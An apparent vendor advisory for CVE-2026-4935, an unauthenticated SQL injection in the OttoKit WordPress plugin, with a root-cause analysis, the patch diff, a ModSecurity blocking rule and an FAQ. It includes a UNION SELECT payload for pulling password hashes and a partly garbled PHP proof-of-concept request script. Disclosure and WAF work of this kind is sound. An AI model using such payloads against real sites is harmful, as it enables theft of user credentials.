“`json
{
“analysis”: “Atomic Edge analysis of CVE-2026-4935:nThis is an unauthenticated SQL injection vulnerability in the OttoKit: All-in-One Automation Platform plugin for WordPress, versions up to 1.1.23. The vulnerability exists in the wp-polls integration component. It allows unauthenticated attackers to execute arbitrary SQL queries and extract sensitive information. The CVSS score is 7.5 (High).nnRoot cause:nThe vulnerability exists in `suretriggers/src/Integrations/wp-polls/wp-polls.php`. The `$selected_answers_ids` parameter is used directly in a SQL query without sanitization. The data originates from user-supplied input within the polling functionality. The plugin passes this unsanitized value to `$wpdb->get_row()`, enabling SQL injection through the comma-separated IDs parameter.nnExploitation:nAn unauthenticated attacker can send a crafted HTTP request to the WordPress poll-related endpoint. The attack targets the `selected_answers_ids` parameter. An attacker can inject SQL payloads such as `UNION SELECT` statements after the expected numeric IDs. For example, a payload like `1,2,3 UNION SELECT user_pass FROM wp_users — -` would extract password hashes. The endpoint is accessible without authentication, making exploitation straightforward.nnPatch analysis:nThe patch adds a single line at line 54 of `wp-polls.php`: `$selected_answers_ids = implode(‘,’, array_map(‘intval’, explode(‘,’, $selected_answers_ids)));`. This splits the comma-separated string into an array, casts each element to an integer using `intval()`, and rejoins them with commas. This ensures only numeric values reach the SQL query, completely eliminating injection vectors.nnImpact:nSuccessful exploitation allows an attacker to read arbitrary data from the WordPress database. This includes password hashes, user emails, private post content, and configuration secrets. An attacker could extract the admin password hash for offline cracking, leading to full site compromise. The unauthenticated nature makes this a critical risk for any site running the vulnerable plugin version.”,
“poc_php”: “<?phpn// Atomic Edge CVE Research – Proof of Conceptn// CVE-2026-4935 – OttoKit: All-in-One Automation Platform ‘wp_polls’, // Example AJAX action – adjust based on actual endpointn ‘poll_id’ => ‘1’,n ‘selected_answers_ids’ => $payloadn);nn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $target_url);ncurl_setopt($ch, CURLOPT_POST, 1);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);ncurl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);nn$response = curl_exec($ch);n$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);nnif ($http_code == 200 && !empty($response)) {n echo “Target is vulnerable. Response:\n”;n print_r($response);n} else {n echo “Target may not be vulnerable or payload needs adjustment. HTTP Code: ” . $http_code . “\n”;n}nncurl_close($ch);n?>”,
modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-4935n# Blocks SQL injection attempts targeting the selected_answers_ids parameter in OttoKit pollsnSecRule REQUEST_URI “@contains /wp-admin/admin-ajax.php” \n “id:20261994,phase:2,deny,status:403,chain,msg:’CVE-2026-4935 SQL Injection via OttoKit polls’,severity:’CRITICAL’,tag:’CVE-2026-4935′”n SecRule ARGS_POST:action “@streq wp_polls” “chain”n SecRule ARGS_POST:selected_answers_ids “@rx (?i)(bUNIONb|bSELECTb|bINSERTb|bDELETEb|bUPDATEb|bDROPb|bSLEEPb|bWAITFORb|’s*ORs*’|bINTOs+OUTFILEb|bINTOs+DUMPFILEb)” \n “t:urlDecode,t:lowercase
”
}
“`
CVE-2026-4935: OttoKit: All-in-One Automation Platform < 1.1.23 – Unauthenticated SQL Injection (suretriggers)
CVE-2026-4935
suretriggers
1.1.23
1.1.23
Analysis Overview
Differential between vulnerable and patched code
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/suretriggers/src/Integrations/late-point/late-point.php
+++ b/suretriggers/src/Integrations/late-point/late-point.php
@@ -253,6 +253,7 @@
do_action( 'latepoint_order_created', $order );
}
$return_data = $booking->get_data_vars();
+ $return_data['service_id'] = ! empty( $booking->service_id ) ? $booking->service_id : ( ! empty( $booking_params['service_id'] ) ? $booking_params['service_id'] : null );
$return_data['order'] = $order->get_data_vars();
$return_data['total_attendees'] = $selected_options['total_attendees'];
return $return_data;
--- a/suretriggers/src/Integrations/wp-polls/wp-polls.php
+++ b/suretriggers/src/Integrations/wp-polls/wp-polls.php
@@ -51,6 +51,9 @@
$context = [];
$context['poll_id'] = $poll_id;
+ // Sanitize answer IDs — cast each to integer to prevent SQL injection.
+ $selected_answers_ids = implode( ',', array_map( 'intval', explode( ',', $selected_answers_ids ) ) );
+
global $wpdb;
$poll_data = $wpdb->get_row(
// phpcs:disable
--- a/suretriggers/src/Loader.php
+++ b/suretriggers/src/Loader.php
@@ -326,8 +326,8 @@
define( 'SURE_TRIGGERS_BASE', plugin_basename( SURE_TRIGGERS_FILE ) );
define( 'SURE_TRIGGERS_DIR', plugin_dir_path( SURE_TRIGGERS_FILE ) );
define( 'SURE_TRIGGERS_URL', plugins_url( '/', SURE_TRIGGERS_FILE ) );
- define( 'SURE_TRIGGERS_VER', '1.1.22' );
- define( 'SURE_TRIGGERS_DB_VER', '1.1.22' );
+ define( 'SURE_TRIGGERS_VER', '1.1.23' );
+ define( 'SURE_TRIGGERS_DB_VER', '1.1.23' );
define( 'SURE_TRIGGERS_REST_NAMESPACE', 'sure-triggers/v1' );
define( 'SURE_TRIGGERS_SASS_URL', $sass_url . '/wp-json/wp-plugs/v1/' );
define( 'SURE_TRIGGERS_SITE_URL', $sass_url );
--- a/suretriggers/suretriggers.php
+++ b/suretriggers/suretriggers.php
@@ -9,7 +9,7 @@
* Domain Path: /languages
* License: GPLv3
* License URI: https://www.gnu.org/licenses/gpl-3.0.html
- * Version: 1.1.22
+ * Version: 1.1.23
* Requires at least: 5.4
* Requires PHP: 5.6
*
Frequently Asked Questions
What is CVE-2026-4935?
Overview of the vulnerabilityCVE-2026-4935 is a high-severity unauthenticated SQL injection vulnerability in the OttoKit: All-in-One Automation Platform plugin for WordPress, affecting versions prior to 1.1.23. It allows attackers to inject malicious SQL queries through insufficiently sanitized user input.
How does the SQL injection work?
Mechanism of exploitationThe vulnerability occurs in the wp-polls integration component of the plugin. An attacker can manipulate the `selected_answers_ids` parameter in HTTP requests, allowing them to execute arbitrary SQL commands and potentially extract sensitive data from the database.
Who is affected by this vulnerability?
Identifying vulnerable installationsAny WordPress site using the OttoKit plugin version 1.1.22 or earlier is vulnerable to CVE-2026-4935. Site administrators should check their plugin version against the patched version 1.1.23 to determine if they are at risk.
How can I check if my site is vulnerable?
Verifying plugin versionsTo check if your site is vulnerable, navigate to the plugins section in your WordPress admin dashboard. Look for the OttoKit plugin and verify its version. If it is 1.1.22 or earlier, your site is vulnerable.
What steps should I take to fix this issue?
Updating the pluginThe immediate fix is to update the OttoKit plugin to version 1.1.23 or later, where the vulnerability has been patched. Ensure that your site is regularly updated to mitigate future vulnerabilities.
What does a CVSS score of 7.5 mean?
Understanding risk levelsA CVSS score of 7.5 indicates a high severity vulnerability, suggesting that it poses a significant risk to affected systems. Exploitation can lead to unauthorized access to sensitive data, making it critical to address promptly.
What kind of data can be exposed through this vulnerability?
Potential impact of exploitationSuccessful exploitation of CVE-2026-4935 can allow attackers to read sensitive data from the WordPress database, including user passwords, email addresses, and private post content, which could lead to further compromises.
How does the proof of concept demonstrate the issue?
Technical demonstration of the vulnerabilityThe proof of concept provided illustrates how an attacker can send a crafted HTTP request to the vulnerable endpoint, manipulating the `selected_answers_ids` parameter to execute SQL commands. This demonstrates the ease of exploitation due to the lack of input sanitization.
What is the recommended security practice after patching?
Post-update security measuresAfter updating the plugin, it is recommended to review your site’s security posture. Implement security plugins, regularly audit user access, and monitor for unusual activity to further protect against potential threats.
Are there any additional mitigation strategies?
Preventative measuresIn addition to updating the plugin, consider implementing a Web Application Firewall (WAF) to help block SQL injection attempts. Regularly back up your database and ensure that your WordPress installation and all plugins are kept up to date.
What should I do if my site has already been compromised?
Response to a security breachIf you suspect that your site has been compromised due to this vulnerability, immediately update the plugin, change all passwords, and perform a thorough security audit. Restore from a clean backup if necessary and consider consulting with a security professional.
Where can I find more information about this vulnerability?
Resources for further readingMore information about CVE-2026-4935 can be found in the official CVE database, security advisories from the plugin developers, and various cybersecurity resources that track vulnerabilities in WordPress plugins.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






